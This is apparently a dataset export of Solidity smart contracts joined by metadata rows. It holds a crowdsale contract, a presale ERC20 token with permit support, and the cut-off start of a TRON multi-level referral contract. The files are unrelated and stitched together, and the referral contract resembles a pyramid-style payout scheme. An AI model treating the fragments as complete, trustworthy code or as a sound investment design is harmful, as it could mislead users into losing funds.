function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/interfaces/DividendInterface.sol
interface DividendInterface{
function issueDividends(uint _amount) external payable returns (bool);
// @dev Total number of tokens in existence
function totalSupply() external view returns (uint256);
function getERC20() external view returns (address);
}
// File: contracts/interfaces/KyberInterface.sol
// @notice Trade via the Kyber Proxy Contract
interface KyberInterface {
function getExpectedRate(address src, address dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate);
function trade(address src, uint srcAmount, address dest, address destAddress, uint maxDestAmount,uint minConversionRate, address walletId) external payable returns(uint);
}
// File: contracts/interfaces/MinterInterface.sol
interface MinterInterface {
function cloneToken(string _uri, address _erc20Address) external returns (address asset);
function mintAssetTokens(address _assetAddress, address _receiver, uint256 _amount) external returns (bool);
function changeTokenController(address _assetAddress, address _newController) external returns (bool);
}
// File: contracts/interfaces/CrowdsaleReserveInterface.sol
interface CrowdsaleReserveInterface {
function issueETH(address _receiver, uint256 _amount) external returns (bool);
function receiveETH(address _payer) external payable returns (bool);
function refundETHAsset(address _asset, uint256 _amount) external returns (bool);
function issueERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool);
function requestERC20(address _payer, uint256 _amount, address _tokenAddress) external returns (bool);
function approveERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool);
function refundERC20Asset(address _asset, uint256 _amount, address _tokenAddress) external returns (bool);
}
// File: contracts/crowdsale/CrowdsaleERC20.sol
interface Events {
function transaction(string _message, address _from, address _to, uint _amount, address _token) external;
function asset(string _message, string _uri, address _assetAddress, address _manager);
}
interface DB {
function addressStorage(bytes32 _key) external view returns (address);
function uintStorage(bytes32 _key) external view returns (uint);
function setUint(bytes32 _key, uint _value) external;
function deleteUint(bytes32 _key) external;
function setBool(bytes32 _key, bool _value) external;
function boolStorage(bytes32 _key) external view returns (bool);
}
// @title An asset crowdsale contract which accepts funding from ERC20 tokens.
// @author Kyle Dewhurst, MyBit Foundation
// @notice creates a dividend token to represent the newly created asset.
contract CrowdsaleERC20{
using SafeMath for uint256;
DB private database;
Events private events;
MinterInterface private minter;
CrowdsaleReserveInterface private reserve;
KyberInterface private kyber;
// @notice Constructor: initializes database instance
// @param: The address for the platform database
constructor(address _database, address _events, address _kyber)
public{
database = DB(_database);
events = Events(_events);
minter = MinterInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "Minter"))));
reserve = CrowdsaleReserveInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "CrowdsaleReserve"))));
kyber = KyberInterface(_kyber);
}
// @dev investor must approve this contract to transfer tokens
// @param (address) _assetAddress = The address of the asset tokens, investor wishes to purchase
// @param (uint) _amount = The amount to spend purchasing this asset
function buyAssetOrderERC20(address _assetAddress, uint _amount, address _paymentToken)
external
payable
returns (bool) {
require(database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))) != address(0), "Invalid asset");
require(now <= database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Past deadline");
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale finalized");
if(_paymentToken == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){
require(msg.value == _amount, 'Msg.value does not match amount');
} else {
require(msg.value == 0, 'Msg.value should equal zero');
}
ERC20 fundingToken = ERC20(DividendInterface(_assetAddress).getERC20());
uint fundingRemaining = database.uintStorage(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)));
uint collected; //This will be the value received by the contract after any conversions
uint amount; //The number of tokens that will be minted
if(_paymentToken == address(fundingToken)){
collected = collectPayment(msg.sender, _amount, fundingRemaining, fundingToken);
} else {
collected = convertTokens(msg.sender, _amount, fundingToken, ERC20(_paymentToken), fundingRemaining);
}
require(collected > 0);
if(collected < fundingRemaining){
amount = collected.mul(100).div(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee")))));
database.setUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)), fundingRemaining.sub(collected));
require(minter.mintAssetTokens(_assetAddress, msg.sender, amount), "Investor minting failed");
require(fundingToken.transfer(address(reserve), collected));
} else {
amount = fundingRemaining.mul(100).div(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee")))));
database.setBool(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress)), true);
database.deleteUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)));
require(minter.mintAssetTokens(_assetAddress, msg.sender, amount), "Investor minting failed"); // Send remaining asset tokens to investor
require(fundingToken.transfer(address(reserve), fundingRemaining));
events.asset('Crowdsale finalized', '', _assetAddress, msg.sender);
if(collected > fundingRemaining){
require(fundingToken.transfer(msg.sender, collected.sub(fundingRemaining))); // return extra funds
}
}
events.transaction('Asset purchased', address(this), msg.sender, amount, _assetAddress);
return true;
}
// @dev The contract manager needs to know the address PlatformDistribution contract
function payoutERC20(address _assetAddress)
external
whenNotPaused
returns (bool) {
require(database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale not finalized");
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress))), "Crowdsale has paid out");
//Set paid to true
database.setBool(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress)), true);
//Setup token
address fundingToken = DividendInterface(_assetAddress).getERC20();
//Mint tokens for the asset manager and platform
address platformAssetsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.assets")));
require(platformAssetsWallet != address(0), "Platform assets wallet not set");
require(minter.mintAssetTokens(_assetAddress, database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerFunds"))), database.uintStorage(keccak256(abi.encodePacked("asset.managerTokens", _assetAddress)))), "Manager minting failed");
require(minter.mintAssetTokens(_assetAddress, platformAssetsWallet, database.uintStorage(keccak256(abi.encodePacked("asset.platformTokens", _assetAddress)))), "Platform minting failed");
//Get the addresses for the receiver and platform
address receiver = database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)));
address platformFundsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.funds")));
require(receiver != address(0) && platformFundsWallet != address(0), "Platform funds walllet or receiver address not set");
//Calculate amounts for platform and receiver
uint amount = database.uintStorage(keccak256(abi.encodePacked("crowdsale.goal", _assetAddress)));
uint platformFee = amount.getFractionalAmount(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))));
//Transfer funds to receiver and platform
require(reserve.issueERC20(platformFundsWallet, platformFee, fundingToken), 'Platform funds not paid');
require(reserve.issueERC20(receiver, amount, fundingToken), 'Receiver funds not paid');
//Delete crowdsale start time
database.deleteUint(keccak256(abi.encodePacked("crowdsale.start", _assetAddress)));
//Increase asset count for manager
address manager = database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)));
database.setUint(keccak256(abi.encodePacked("manager.assets", manager)), database.uintStorage(keccak256(abi.encodePacked("manager.assets", manager))).add(1));
//Emit event
events.transaction('Asset payout', _assetAddress, receiver, amount, fundingToken);
return true;
}
function cancel(address _assetAddress)
external
whenNotPaused
validAsset(_assetAddress)
beforeDeadline(_assetAddress)
notFinalized(_assetAddress)
returns (bool){
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))));
database.setUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)), 1);
refund(_assetAddress);
}
// @notice Contributors can retrieve their funds here if crowdsale has paased deadline
function refund(address _assetAddress)
public
whenNotPaused
validAsset(_assetAddress)
afterDeadline(_assetAddress)
notFinalized(_assetAddress)
returns (bool) {
require(database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))) != 0);
database.deleteUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)));
DividendInterface assetToken = DividendInterface(_assetAddress);
address tokenAddress = assetToken.getERC20();
uint refundValue = assetToken.totalSupply().mul(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))))).div(100); //total supply plus platform fees
reserve.refundERC20Asset(_assetAddress, refundValue, tokenAddress);
return true;
}
// Internal Functions
function collectPayment(address user, uint amount, uint max, ERC20 token)
private
returns (uint){
if(amount > max){
token.transferFrom(user, address(this), max);
return max;
} else {
token.transferFrom(user, address(this), amount);
return amount;
}
}
function convertTokens(address _investor, uint _amount, ERC20 _fundingToken, ERC20 _paymentToken, uint _maxTokens)
private
returns (uint) {
//(, uint minRate) = kyber.getExpectedRate(address(_paymentToken), address(_fundingToken), 0);
uint paymentBalanceBefore;
uint fundingBalanceBefore;
uint change;
uint investment;
if(address(_paymentToken) == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){
paymentBalanceBefore = address(this).balance;
fundingBalanceBefore = _fundingToken.balanceOf(this);
//Convert remaining funds into the funding token
kyber.trade.value(_amount)(address(_paymentToken), _amount, address(_fundingToken), address(this), _maxTokens, 0, 0);
change = _amount.sub(paymentBalanceBefore.sub(address(this).balance));
investment = _fundingToken.balanceOf(this).sub(fundingBalanceBefore);
if(change > 0){
_investor.transfer(change);
}
} else {
//Collect funds
collectPayment(_investor, _amount, _amount, _paymentToken);
// Mitigate ERC20 Approve front-running attack, by initially setting
// allowance to 0
require(_paymentToken.approve(address(kyber), 0));
// Approve tokens so network can take them during the swap
_paymentToken.approve(address(kyber), _amount);
paymentBalanceBefore = _paymentToken.balanceOf(this);
fundingBalanceBefore = _fundingToken.balanceOf(this);
//Convert remaining funds into the funding token
kyber.trade(address(_paymentToken), _amount, address(_fundingToken), address(this), _maxTokens, 0, 0);
// Return any remaining source tokens to user
change = _amount.sub(paymentBalanceBefore.sub(_paymentToken.balanceOf(this)));
investment = _fundingToken.balanceOf(this).sub(fundingBalanceBefore);
if(change > 0){
_paymentToken.transfer(_investor, change);
}
}
emit Convert(address(_paymentToken), change, investment);
return investment;
}
// @notice platform owners can recover tokens here
function recoverTokens(address _erc20Token)
onlyOwner
external {
ERC20 thisToken = ERC20(_erc20Token);
uint contractBalance = thisToken.balanceOf(address(this));
thisToken.transfer(msg.sender, contractBalance);
}
// @notice platform owners can destroy contract here
function destroy()
onlyOwner
external {
events.transaction('CrowdsaleERC20 destroyed', address(this), msg.sender, address(this).balance, address(0));
//emit LogDestruction(address(this).balance, msg.sender);
selfdestruct(msg.sender);
}
// @notice fallback function. We need to receive Ether from Kyber Network
function ()
external
payable {
emit EtherReceived(msg.sender, msg.value);
}
// Modifiers
// @notice Sender must be a registered owner
modifier onlyOwner {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))), "Not owner");
_;
}
// @notice function won't run if owners have paused this contract
modifier whenNotPaused {
require(!database.boolStorage(keccak256(abi.encodePacked("paused", address(this)))));
_;
}
// @notice reverts if the asset does not have a token address set in the database
modifier validAsset(address _assetAddress) {
require(database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))) != address(0), "Invalid asset");
_;
}
// @notice reverts if the funding deadline has not passed
modifier beforeDeadline(address _assetAddress) {
require(now < database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Before deadline");
_;
}
// @notice reverts if the funding deadline has already past or crowsale has not started
modifier betweenDeadlines(address _assetAddress) {
require(now <= database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Past deadline");
require(now >= database.uintStorage(keccak256(abi.encodePacked("crowdsale.start", _assetAddress))), "Before start time");
_;
}
// @notice reverts if the funding deadline has already past
modifier afterDeadline(address _assetAddress) {
require(now > database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Before deadline");
_;
}
// @notice returns true if crowdsale is finshed
modifier finalized(address _assetAddress) {
require(database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale not finalized");
_;
}
// @notice returns true if crowdsale is not finshed
modifier notFinalized(address _assetAddress) {
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale finalized");
_;
}
// @notice returns true if crowdsale has not paid out
modifier notPaid(address _assetAddress) {
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress))), "Crowdsale has paid out");
_;
}
event Convert(address token, uint change, uint investment);
event EtherReceived(address sender, uint amount);
}
| 338,933 | 13,527 |
eb1e03501f08bdf9187830aa5f276b3337b7c745328f4388fa61df96ccb20567
| 38,161 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/7d/7D15eAC29e64d955cDBe65bbC1986E03A27d38Aa_pWAND.sol
| 5,155 | 19,295 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
// Only used in the BondingCalculator.sol
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address, RecoverError) {
// the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
abstract contract EIP712 {
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
uint256 chainID;
assembly {
chainID := chainid()
}
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = chainID;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
uint256 chainID;
assembly {
chainID := chainid()
}
if (chainID == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
uint256 chainID;
assembly {
chainID := chainid()
}
return keccak256(abi.encode(typeHash, nameHash, versionHash, chainID, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256("ERC20Token");
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal immutable _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address(0), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
constructor(string memory name) EIP712(name, "1") {}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newOwner_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function policy() public view override returns (address) {
return _owner;
}
modifier onlyPolicy() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushPolicy(address newOwner_) public virtual override onlyPolicy() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
contract PresaleOwned is Policy {
address internal _presale;
function setPresale(address presale_) external onlyPolicy() returns (bool) {
_presale = presale_;
return true;
}
function presale() public view returns (address) {
return _presale;
}
modifier onlyPresale() {
require(_presale == msg.sender, "PresaleOwned: caller is not the Presale");
_;
}
}
contract pWAND is ERC20Permit, PresaleOwned {
using SafeMath for uint256;
constructor()
ERC20("Presale WAND", "pWAND", 18)
ERC20Permit("Presale WAND"){}
function mint(address account_, uint256 amount_) external onlyPresale() {
_mint(account_, amount_);
}
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) public virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) public virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_,
"ERC20: burn amount exceeds allowance");
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 310,355 | 13,528 |
67556f5ea18006ac1cc5e46e45229cab18b55893db4f355fe6028700e61936a1
| 21,572 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFDwiMm3QeD1SWGXeaLNdYscTursEtkHSy_Globalway.sol
| 5,682 | 20,443 |
//SourceUnit: globalway (1).sol
pragma solidity 0.5.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Globalway {
using SafeMath for uint256;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint refCount;
uint ALevel;
uint BLevel;
uint levelAEarnings;
uint levelBEarnings;
uint totalEarning;
address[] referral;
mapping(uint => uint) levelExpired;
}
address public ownerAddress;
address public adminAddress;
uint public adminFee = 10 trx;
uint public regAmount;
uint public currentId = 0;
uint public PERIOD_LENGTH = 60 days;
bool public lockStatus;
mapping (uint => uint) public LEVEL_PRICE;
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => mapping (uint => uint)) public EarnedTrx;
mapping (address => uint) public loopCheck;
mapping (address => uint) public createdDate;
event regLevelEvent(address indexed UserAddress, address indexed ReferrerAddress, uint Time);
event buyLevelEvent(address indexed UserAddress, uint Levelno, uint Time, uint LevelPrice);
event getMoneyForPlanAEvent(address indexed UserAddress, uint UserId, address indexed ReferrerAddress, uint ReferrerId,uint level, uint Levelno, uint LevelPrice, uint Time);
event getMoneyForPlanBEvent(address indexed UserAddress, uint UserId, address indexed ReferrerAddress, uint ReferrerId,uint level, uint Levelno, uint LevelPrice, uint Time);
event lostMoneyForLevelEvent(address indexed UserAddress, uint UserId, address indexed ReferrerAddress, uint ReferrerId, uint Levelno, uint LevelPrice, uint Time);
constructor(address admin) public {
ownerAddress = msg.sender;
adminAddress = admin;
//A1
//A2
LEVEL_PRICE[1] = 100 trx;
LEVEL_PRICE[2] = 250 trx;
LEVEL_PRICE[3] = 500 trx;
LEVEL_PRICE[4] = 750 trx;
LEVEL_PRICE[5] = 1000 trx;
//A3
LEVEL_PRICE[6] = 50 trx;
LEVEL_PRICE[7] = 100 trx;
LEVEL_PRICE[8] = 200 trx;
LEVEL_PRICE[9] = 400 trx;
regAmount = LEVEL_PRICE[1] + LEVEL_PRICE[6] + (adminFee * 2);
UserStruct memory userStruct;
currentId = currentId.add(1);
userStruct = UserStruct({
isExist: true,
